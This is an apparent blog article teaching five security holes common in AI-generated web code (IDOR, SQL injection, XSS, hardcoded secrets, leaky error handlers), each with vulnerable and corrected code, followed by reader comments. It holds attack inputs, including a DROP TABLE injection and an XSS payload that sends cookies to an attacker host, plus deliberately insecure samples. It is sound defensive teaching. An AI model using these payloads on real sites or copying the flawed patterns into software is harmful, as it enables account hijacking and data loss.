The Betrayal of AI-Written Code" β 5 Technical Vulnerabilities in Vibe-Coded Apps
The Betrayal of AI-Written Code β 5 Technical Vulnerabilities in Vibe-Coded Apps
"Wow, this was built with a single prompt?"
The moment you admired the code AI made for you, you probably thought something like this: "This is actually pretty good?" But there is a good chance that code has a hole punched through it that lets anyone walk off with your users' data.
This article lays out the five most common and most fatal security vulnerabilities in vibe-coded apps, together with the actual code.
1. Missing Authorization Checks (IDOR)
The code AI wrote:
// Express.js β order lookup API
app.get('/api/orders/:orderId', (req, res) => {
const orderId = req.params.orderId;
// This is the problem: anyone who requests it can see every order
db.query('SELECT * FROM orders WHERE id = ?', [orderId], (err, result) => {
if (err) return res.status(500).json({ error: err.message });
res.json(result[0]);
});
});
The risk: If someone requests /api/orders/1, /api/orders/2, /api/orders/3 in sequence, they can read the order history of every other user. This is exactly the IDOR (Insecure Direct Object Reference) vulnerability.
Attack scenario:
1. Look up my order: GET /api/orders/42 β normal
2. Look up someone else's order: GET /api/orders/43 β another user's payment info exposed
3. Loop through it: iterate from 1 to 1000 β the entire user base leaks
The correct code:
app.get('/api/orders/:orderId', authenticateToken, (req, res) => {
const orderId = req.params.orderId;
const userId = req.user.id; // current user ID extracted from the JWT
db.query(
'SELECT * FROM orders WHERE id = ? AND user_id = ?',
[orderId, userId],
(err, result) => {
if (err) return res.status(500).json({ error: 'server error' });
if (!result.length) return res.status(404).json({ error: 'order not found' });
res.json(result[0]);
}
);
});
The difference: one condition was added: AND user_id = ?. Only the orders of the currently logged-in user are queried.
2. SQL Injection
The code AI wrote:
# Flask β search feature
@app.route('/search')
def search():
keyword = request.args.get('q')
# direct string interpolation β vulnerable to injection
query = f"SELECT * FROM products WHERE name LIKE '%{keyword}%'"
cursor.execute(query)
results = cursor.fetchall()
return jsonify(results)
Attack scenario:
Normal input: http://app.com/search?q=laptop
β SELECT * FROM products WHERE name LIKE '%laptop%'
Malicious input: http://app.com/search?q=' OR '1'='1
β SELECT * FROM products WHERE name LIKE '%' OR '1'='1%'
β every product record leaks
More malicious: http://app.com/search?q='; DROP TABLE products;--
β the table itself is deleted
The correct code:
@app.route('/search')
def search():
keyword = request.args.get('q')
# use bound parameters β prevents injection
cursor.execute(
"SELECT * FROM products WHERE name LIKE %s",
(f'%{keyword}%',)
)
results = cursor.fetchall()
return jsonify(results)
Key point: using ? or %s binding instead of an f-string makes the input treated as a "value" rather than SQL syntax.
3. XSS (Cross-Site Scripting)
The code AI wrote:
<!-- User profile page -->
<div id="profile"></div>
<script>
// take the username from the URL and display it
const username = new URLSearchParams(window.location.search).get('user');
document.getElementById('profile').innerHTML = `<h1>${username}'s profile</h1>`;
</script>
Attack scenario:
Normal URL: profile.html?user=John
β <h1>John's profile</h1> (normal)
Malicious URL: profile.html?user=<script>document.location='http://xss.com/steal?c='+document.cookie</script>
β the user's cookie (session token) is sent to the attacker's server
β the attacker hijacks the session and uses the app while logged in
The correct code:
<div id="profile"></div>
<script>
const username = new URLSearchParams(window.location.search).get('user');
// use textContent β treated as text, not an HTML tag
const h1 = document.createElement('h1');
h1.textContent = `${username}'s profile`;
document.getElementById('profile').appendChild(h1);
</script>
Key point: using textContent instead of innerHTML means the input is not interpreted as HTML.
4. Hardcoded Sensitive Information
The code AI wrote:
# Database connection
import psycopg2
conn = psycopg2.connect(
host="db.mycompany.com",
database="production",
user="admin",
password="SuperSecret123!" # β here
)
# Email sending
SMTP_PASSWORD = "GmailAppPassword456" # β here
# Payment API
STRIPE_SECRET_KEY = "sk_live_4eC39HqLyjWDarjtT1zdp7dc" # β here
The risk: What happens if this code goes up on GitHub? Within five minutes, automated scanning bots find these keys and use them. A Stripe key beginning with sk_live_ is immediately used for payment fraud.
A real incident: Automated bots that scan GitHub for password, secret, api_key, and the like run around the clock. The moment you push the code, the sensitive information has already leaked.
The correct code:
# .env file (never committed to GitHub)
# DB_PASSWORD=SuperSecret123!
# SMTP_PASSWORD=GmailAppPassword456
# STRIPE_SECRET_KEY=sk_live_4eC39HqLyjWDarjtT1zdp7dc
import os
from dotenv import load_dotenv
load_dotenv()
conn = psycopg2.connect(
host=os.environ.get('DB_HOST'),
database=os.environ.get('DB_NAME'),
user=os.environ.get('DB_USER'),
password=os.environ.get('DB_PASSWORD')
)
Always add to .gitignore:
.env
*.key
*.pem
config/secrets.json
5. Information Exposure Through Poor Error Handling
The code AI wrote:
// Express.js β global error handler
app.use((err, req, res, next) => {
console.error(err.stack);
res.status(500).json({
error: err.message,
stack: err.stack // β fatal
});
});
The risk: When an error occurs on a production server, the following information is exposed in the user's browser:
{
"error": "Cannot read property 'id' of undefined",
"stack": "TypeError: Cannot read property 'id' of undefined\n
at /app/src/routes/orders.js:15:23\n
at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)\n
at /app/node_modules/express/lib/router/index.js:28:3\n
at Function.handle (/app/node_modules/express/lib/router/index.js:88:3)"
}
With this information an attacker can:
- map the server directory structure (
/app/src/routes/orders.js) - identify the framework version (
express/lib/router) - trace code line numbers (
orders.js:15:23) - design follow-up attacks
The correct code:
// Global error handler
app.use((err, req, res, next) => {
console.error(err.stack); // log on the server only
// Production: never expose detailed errors
if (process.env.NODE_ENV === 'production') {
res.status(500).json({ error: 'An internal server error occurred.' });
} else {
// Show detailed errors only in development
res.status(500).json({ error: err.message, stack: err.stack });
}
});
6. A Practical Security Checklist
Before deploying a vibe-coded app to production, always verify:
Backend
- [ ] Input validation: is SQL injection filtering applied to every user input?
- [ ] Authentication and authorization: is the JWT/session token re-verified on every API request?
- [ ] Injection prevention: are bound parameters used in SQL queries?
- [ ] Error handling: are detailed error messages not exposed on the production server?
- [ ] Sensitive information isolation: are API keys and passwords in
.envand registered in.gitignore?
Frontend
- [ ] XSS prevention: is
textContentused instead ofinnerHTML? - [ ] CSRF protection: is a CSRF token included in POST/PUT/DELETE requests?
- [ ] Console log removal: are there no
console.log()calls left in production code?
Infrastructure
- [ ] Dependency audit: are there no vulnerable libraries according to
npm auditorpip check? - [ ] HTTPS: is all communication encrypted over HTTPS?
- [ ] Debug mode OFF: is
DEBUG=Truenot enabled in the production environment?
# npm dependency audit
npm audit
npm audit fix
# pip dependency audit
pip check
pip-audit
# SonarQube static analysis (example)
sonar-scanner -Dsonar.projectKey=myapp -Dsonar.sources=./src
7. Conclusion β The Army Is Safe Only When the Commander Is Smart
AI is an excellent coding tool. But AI does not "take responsibility" for security. The security of AI-written code is entirely on the user.
"AI-written code is perfectly insecure, at exactly the level that makes it ripe for abuse by criminals."
If you don't know what SQL injection is, the search feature AI built for you can leak your entire database. If you don't know what XSS is, the profile page AI built for you can get your users' sessions hijacked.
If you do vibe coding, you should at least know what these five vulnerabilities are, why they are dangerous, and how to fix them. Otherwise, the app you built will betray your users.
"The army (AI) is safe only when the commander (human) is smart."
This article is based on the operator's personal hands-on experience and perspective.
AI Knowledge Hub
Comments (2)
Summary
Using Claude Code, I built a program that converts meeting recordings into text and subtitles in 10 minutes. The key point is that even non-developers can solve repetitive work directly.
Impressive points
1. The essence of vibe coding is "ordering"
2. The execution-planning step is decisive
It matters to check and understand the plan the AI proposes first. If it does not convince you, you can demand another approach.
3. Criteria for work well suited to vibe coding
4. The most important insight
But more important is the attitude of not brushing off an inconvenience as "nothing to be done," but wondering whether you could give it a try. The inconvenience itself becomes the starting point of innovation.
Personal thoughts
What resonated most in this video is that "even non-developers can build the program they need themselves." Without the title of developer, if you propose the incompleteness of your work to the AI, that incompleteness can lead straight to a new tool.
What matters is not a grand program. It starts with solving one recurring weekly inconvenience.
Show 1 more comments
Review result: the five-vulnerability structure is excellent β fix the stray quote in the title metadata and the Thai text that leaked in right away
To start from the conclusion, pairing IDOR, SQL injection, XSS, hardcoded secrets, and error-message leakage with code and attack scenarios makes this piece excellent teaching material. That said, the title metadata keeps a closing quote it should not, a code comment contains Thai characters, and the secret-key example uses a real key format that can trip security scanners.
Suggested corrections
<title>,og:title, and the JSON-LDheadline.STRIPE_SECRET_KEY = "sk_live_4eC39HqLyjWDarjtT1zdp7dc"is a public example string from Stripe's docs, but thesk_live_prefix makes GitHub secret scanners and automated bots mistake it for a real key. Leaving a scanner-triggering key in a post that warns about secret leakage is an irony. Replacing it withsk_live_xxxxxxxxis safer.\nescapes or convert the code block to text so it can be copied and verified.'; DROP TABLE products;--example may not work as-is, depending on the DB driver blocking multi-statement execution (for example, MySQL in some configurations and sqlite3 by default). Adding one line about the conditions under which it holds raises accuracy.Further suggestions
textContentand DOM construction is accurate. Adding one more line of a CSPscript-srcexample would layer the defense.What works